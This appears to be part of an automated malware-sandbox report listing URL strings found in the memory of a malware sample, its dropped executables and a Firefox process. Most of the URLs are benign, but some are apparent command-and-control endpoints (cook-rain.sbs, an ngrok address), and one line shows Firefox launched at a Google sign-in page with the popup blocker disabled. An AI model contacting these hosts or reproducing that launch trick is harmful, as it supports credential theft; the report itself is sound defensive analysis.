Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserUsageTelemet
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ContextualIdenti
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000000.00000002.2640526911.000000001D93C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2653265643.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3046614204.0000021BFB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_flippedInheritedAttributes
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caextensions.experiments.enableddefault-theme
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000002E.00000003.3120865202.0000021C037AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002E.00000002.3216086364.0000021BEB199000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3218516266.0000021BEB511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000002E.00000003.3120865202.0000021C03767000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3313050982.0000021BFCE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3102708132.0000021BFC4E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3277001134.0000021BFC4E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2425769907.000000002390D000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960286063.00000000054FD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2960154182.0000000005505000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000002E.00000003.3043406581.0000021BFB200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3045980898.0000021BFB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3046614204.0000021BFB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF9852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3099515363.0000021C03BF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3234257561.0000021BF6DF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3275905503.0000021BFC391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3237288323.0000021BF79EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000002E.00000002.3326900532.0000021BFD41A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3123211590.0000021BFEF9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: ea2bf34af0.exe, 0000001D.00000003.3217565004.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3044533826.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216599325.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001374850.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3037575278.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: ea2bf34af0.exe, 0000001D.00000003.3037575278.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: ea2bf34af0.exe, 0000001D.00000003.3217565004.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3064365776.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216599325.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api(
Source: ea2bf34af0.exe, 0000001D.00000003.3011067723.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3010661874.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/g/
Source: ea2bf34af0.exe, 0000001D.00000003.3037575278.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/n
Source: ea2bf34af0.exe, 0000001D.00000003.3001374850.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002E.00000002.3218516266.0000021BEB530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3218516266.0000021BEB511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000002E.00000002.3241937730.0000021BF8703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://duckduckgo.com
